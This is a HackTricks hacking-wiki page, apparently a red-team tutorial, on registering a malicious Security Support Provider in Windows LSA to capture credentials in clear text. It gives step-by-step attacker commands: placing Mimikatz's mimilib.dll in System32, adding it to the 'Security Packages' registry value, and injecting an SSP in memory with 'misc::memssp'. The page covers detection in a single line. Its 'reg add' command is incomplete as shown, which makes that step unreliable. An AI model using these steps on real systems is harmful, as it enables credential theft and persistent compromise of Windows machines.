# Custom SSP {% hint style="success" %} Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) <details> <summary>Support HackTricks</summary> * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. </details> {% endhint %} ### Custom SSP [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\ You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine. #### Mimilib You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\ Drop the dll in `C:\Windows\System32\`\ Get a list existing LSA Security Packages: {% code title="attacker@target" %} ```bash PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` {% endcode %} Add `mimilib.dll` to the Security Support Provider list (Security Packages): ```powershell reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log` #### In memory You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working): ```powershell privilege::debug misc::memssp ``` This won't survive reboots. #### Mitigation Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages` {% hint style="success" %} Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) <details> <summary>Support HackTricks</summary> * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. </details> {% endhint %}